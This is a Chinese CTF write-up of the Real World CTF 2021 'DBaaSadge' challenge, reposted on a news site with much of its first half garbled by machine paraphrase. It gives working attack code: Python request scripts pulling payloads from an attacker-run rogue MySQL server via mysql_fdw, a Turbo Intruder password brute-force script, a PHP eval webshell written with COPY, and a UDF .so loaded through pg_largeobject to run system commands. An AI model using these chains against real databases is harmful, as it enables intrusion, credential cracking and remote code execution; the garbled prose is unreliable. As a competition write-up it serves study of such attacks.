Real(World CTF 2021 DBaaSadge Writeup)

作者:李富强
围观群众:39
更新于
Real(World CTF 2021 DBaaSadge Writeup)

因为绝大多数重要的技术性点就是我队中的亲姐妹——鱼先干了,因此 这儿先铺一下别人的blog里的wp(鱼哥见到还记得来拍我)

这道题学得的不仅有postgre的专业知识,也有burpsuite BApp,及其md5crack的一部分,这儿還是给诸位同学们做一个剖析小结吧。

文中涉及到知识要点实际操作训练:应用burp开展暴力破解密码 (根据该试验把握burp的配备方式和有关控制模块的操作方法,对一个虚似网址应用burp开展暴力破解密码来使网址建筑者从网络攻击的视角去剖析和防止难题,为此提升网站安全性。)

连接:

提取码:kwck

拷贝这一段內容后开启百度云网盘手机上App,实际操作更便捷哦--来源于百度云网盘qq超级会员V3的共享

开启题目立即表明源代码

<?php

error_reporting(0);

if(!$sql=(string)$_GET["sql"]){

show_source(__FILE__);

die();

}

header('Content-Type: text/plain');

if(strlen($sql)>100){

die('That query is too long ;_;');

}

if(!pg_pconnect('dbname=postgres user=realuser')){

Real(World CTF 2021 DBaaSadge Writeup)

die('DB gone ;_;');

}

if($query = pg_query($sql)){

print_r(pg_fetch_all($query));

}else{

die('._.?');

}

这一源代码不难理解,关键便是你根据get键入一个sql主要参数,随后他会将你键入的立即做为pg_query的主要参数,随后回到結果,假如运作恰当就复印結果,不正确就表明颜文字。在其中sql键入限定了100个字节。

第一步大家务必自身构建一个自然环境,那样能够把出错打出去,便捷调节

进到postgre互动式cmd的方法是

psql

假如你在这里步就出错了,请转换到postgres客户再做

pg_query的出错涵数为:

print_r(pg_fetch_all($query));

因而我们在最后一个else里边再加上这一涵数

那样只需大家键入不正确,表明的便是实际句子查看情况下的出错。

下面大家最先看一下这一postgre的版本和客户

这一块很重要,尽管dockerfile里边有,可是假如之后别的题目沒有给docker的情况下,能够根据这两根句子来查看出题目postgre的版本

select user;

select version();

依据docker我们可以了解,这一realuser并不是一个superuser,如果是superuser得话,互联网上许多方法都能够立即getshell了。而nosuperuser在现阶段是没法getshell的,因此 总体目标十分明确,便是要提权,随后一切正常的实行getshell指令。

那时候查过,大家团队就觉得很有可能是否10.15以前修复的那一个cve的绕开,可是研究发现那一个cve是个pwn,并且题目确立表明这个是个web题目,因此 舍弃走这条道路

然后我们在题目给的dockerfile里边见到他安裝了2个拓展

在文本文档里边,CREATE EXTENSION表示的意思是安裝postgre拓展

在其中postgresql中dblink拓展的作用是能够在一个数据库查询中实际操作此外一个远程控制数据库查询

select dblink_connect('联接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');

而mysql_fdw拓展则是用于在Postgre中桌面搜索MySQL中的数据信息,也就是给Postgre出示一个外部Mysql的浏览方法

因此大家親愛的的鱼就想起了rouge-mysql

Real(World CTF 2021 DBaaSadge Writeup)

这一考试点在CTF中较为普遍,根据让题目联接自身的mysql故意网络服务器来开展随意文档读取(我怎么就想不到)

从这儿免费下载到脚本制作

有两个版本,py版本和php版本,这儿强烈推荐php版本

py版本为何不太好缘故有3:

1. 后台管理监听且不回显

(你说你监听就监听吧,还弄了个后台管理监听,运作完沒有回显,搞大半天认为我运作打错)

2. 結果在同文件目录下的一个mysql.log文件里,差点儿没找到。

3. 每一次读取还得自身改一下源代码里边的文件夹名称

php版本就很人的本性,动态性键入文件夹名称,随后立即回显在显示屏上。

postgre的mysql_fdw操作方法能够参照这一网址,上边有具体事例:

大家无需建立那么大的报表,随意填一个id int就可以了

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');

CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');

CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');

select * from test;

DROP SERVER mysql_server

最后一个drop是由于假如前后左右2次应用同样的Servername,他便会一直报servername存有,相近mysql里边的databases会一直报存有一个样,因而大家每一次运作完都drop掉,省的一直改

最终读取的poc以下:

import requests

Real(World CTF 2021 DBaaSadge Writeup)

import hashlib

import random

import uuid

url =""

#填你的IP

ip="***"

port="***"

server_name="aaaa"

dbname=server_name

Table_name=server_name

poc1="CREATE SERVER " server_name " FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'" ip "',port'" port "');"

#poc2里填好你自己mysql的用户名密码

poc2="CREATE USER MAPPING FOR realuser SERVER " server_name " OPTIONS (username 'root', password 'root');"

poc3="CREATE FOREIGN TABLE " Table_name "(id int) SERVER " server_name " OPTIONS (dbname '" dbname "', table_name '" Table_name "');"

poc4="select * from " Table_name ";"

poc5="DROP SERVER " server_name

r1=requests.get(url poc1)

print(r1.text)

r2=requests.get(url poc2)

print(r2.text)

r3=requests.get(url poc3)

print(r3.text)

r4=requests.get(url poc4)

print(r4.text)

在大家网络服务器上php mysql.php开展监听,随后运作poc,远程控制读取到网络服务器文档

那麼那么问题来了,题目给了dockerfile,读取也不起作用啊,沒有啥文档是不清楚的。

这个时候我与鱼哥刷题水准分界点就出来,的确比不上别人强大

找寻conf文档配备中的系统漏洞,看是否可以使免登录密码superuser的帐户,在UNIX服务平台中安裝PostgreSQL以后,PostgreSQL会在UNIX系统软件中建立一个名叫"postgres"当客户。PostgreSQL的默认设置登录名和数据库查询也是"postgres",并且这个是个superuser

可是大家出卷人很暖心的在每一次docker重新启动时都将postgres的登陆密码改成了5位随机字符串。

可是根据互联网查看我掌握到,在pg_hba.conf中假如把host配备为trust是能够开展免密支付登陆的,随后在docker里边解析xml检索pg_hba.conf这一文档的部位,发觉在/etc/postgresql/10/main下,读取之后:

这一很显著不是可以登陆的,到这儿我也逐渐想工程爆破登陆密码了

工程爆破的poc为

('hostaddr=127.0.0.1 port=5432 dbname=postgres user=postgres password=aaaaa%27);

  如果成功连接那么网页会回显

  Array

  (

  [0] => Array

  (

  [dblink_connect] => OK

  )

  )

  错误则是回显颜文字

  爆破的时候用的是burpsuite的Turbo intruder

  和普通的intruder不同,这个速度差不多是原来旧版本的10倍

  我相信很多人还是在使用intruder(还是换了吧,那个确实慢)

  每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好

  

  当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址

  

  这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以

  主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好

  然后爆破的时候需要在框里面填一下py的功能函数

  如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):

  from itertools import product

  def brute_veify_code(target, engine, length):

  pattern = '1234567890abcdefghijklmnopqrstuvwxyz'

  for i in list(product(pattern, repeat=length)):

  code = ''.join(i)

  engine.queue(target.req, code)

  def queueRequests(target, wordlists):

  engine = RequestEngine(endpoint=target.endpoint,

  concurrentConnections=30,

  requestsPerConnection=100,

  pipeline=True

  )

  brute_veify_code(target, engine, 6)

  def handleResponse(req, interesting):

  # currently available attributes are req.status, req.wordcount, req.length and req.response

  if 'error' not in req.response:

  table.add(req)

  然后在url里面需要爆破的位置用%s表示

  

  这个速度是真的很快的,一秒大概4000多个

  如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。

  然后这题6千万个密码,就把我电脑内存和带宽跑炸了......

  怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置

  这里说一下postgre的交互式命令行

  进入postgre的交互式命令行的命令为

  psql

  你也可以用

  psql -c "commond"

  来直接执行命令,和mysql一样

  但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:

  

  所以我们要切换到postgres用户

  

  然后我们查询系统变量

  

  这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好

  然后我们进入目录下,发现一堆文件

  

  如何寻找密码文件呢,前面看了conf文件为md5加密

  这里教大家一个方便查找文件内容的命令egrep

  egrep -r "内容" 目录

  其中内容部分支持正则表达式

  

  最后发现在global/1260里面

  

  提供一个爆破md5的工具,这个是真的很快:

  

  爆破方式参考

  

  很快啊,他就直接出来了,前面5位就是密码,后面的是用户名

  

  还记得dblink扩展的作用吗,用来连接postgre数据库。

  然后我们就可以用dblink直接登录superuser了

  

  所以剩下的问题就是用superuser执行命令的问题了

  只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。

  SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

  但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。

  然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。

Real(World CTF 2021 DBaaSadge Writeup)

  由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。

  没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在合天的文章再学一下。

  于是我实验了postgre的存储过程,也很快,因为这个确实熟悉

  

  只要发送如图上两次请求就可以调用d函数中的select语句

  但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。

Real(World CTF 2021 DBaaSadge Writeup)

  但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)

  鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。

  可以将

  SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

  变形为

  SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);

  第一个select做连接,第二个做执行命令。

  调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:

  poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"

  poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"

  poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"

  poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

  先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行

  坑点又来了!

  这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:

  

  具体原因尚未分析。

  varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。

  要写入mysql的poc

  drop table b;

  create table b(s varchar(20000),m varchar(44000));

  insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');

  弄好以后差不多如下

  

  然后poc:

  import requests

  import random

  import uuid

  url =""

  poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');"

  poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"

  poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"

  poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

  r1=requests.get(url+poc1)

  print(r1.text)

  r2=requests.get(url+poc2)

  print(r2.text)

  r3=requests.get(url+poc3)

  print(r3.text)

  r4=requests.get(url+poc4)

  print(r4.text)

  然后对面的/tmp目录就写了个文件

  

  这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令

  这个是固定的用法了

  参考

  

  这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可

  大致过程如下:

  按照题目postgre的大版本编一个符合版本的

  将文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里

  发送poc让对面服务器来我们这里查询出来语句并且执行

  编译过程

  先去这个网页下载编译程序

  

  然后进入题目docker

  先安装一个postgre-server-dev,不然很多头文件没有。

  apt install postgresql-server-dev-all

  然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。

  

  然后将下载的复制到docker里面

  make 10

  就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so

  报错不用管他

  这个就是我们需要的

  然后是分片

  因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败

  用python脚本去分割udf.so文件

  Python

  #~/usr/bin/env python 2.7

  #-*- coding:utf-8 -*-

  import sys

  if __name__ == "__main__":

  if len(sys.argv) != 2:

  print "Usage:python " + sys.argv[0] + "inputfile"

  sys.exit()

  fileobj = open(sys.argv[1],'rb')

  i = 0

  for b in fileobj.read():

  sys.stdout.write(r'{:02x}'.format(ord(b)))

  i = i + 1

  if i % 2048 == 0:

  print "

  "

  fileobj.close()

  会出来6个大块,分为6条语句,和参考网页里的一样

  

  SELECT lo_create(9023);

  insert into pg_largeobject values (9023, 0, decode('...');

  insert into pg_largeobject values (9023, 1, decode('...');

  insert into pg_largeobject values (9023, 2, decode('...');

  insert into pg_largeobject values (9023, 3, decode('...');

  insert into pg_largeobject values (9023, 4, decode('...');

  insert into pg_largeobject values (9023, 5, decode('...');

  SELECT lo_export(9023, '/tmp/testeval.so');

  实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题

  然后删除原来的表,重新添加

  drop table b;

  create table b(s varchar(20000),m varchar(44000));

  insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......

  然后运行刚才的poc,写入/tmp/testeval.so

  写入so以后,我们需要执行以下sql语句来执行命令

  CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

  select sys_eval('id');

  原来的参考网站有一条

  drop function sys_eval;

  应该是写错了,加了这个不能运行

  再次清空我们服务器上的mysql数据表,重新建立

  drop table b;

  create table b(s varchar(20000),m varchar(44000));

  insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

  然后再次运行poc,得到flag

  

  队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看

  

  总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。

Real(World CTF 2021 DBaaSadge Writeup)

非特殊说明,本文版权归 宇德消息网 所有,转载请注明出处.

本文分类: 问答

本文标题: Real(World CTF 2021 DBaaSadge Writeup)

本文网址: http://www.tssjyd.com/wenda/1043.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。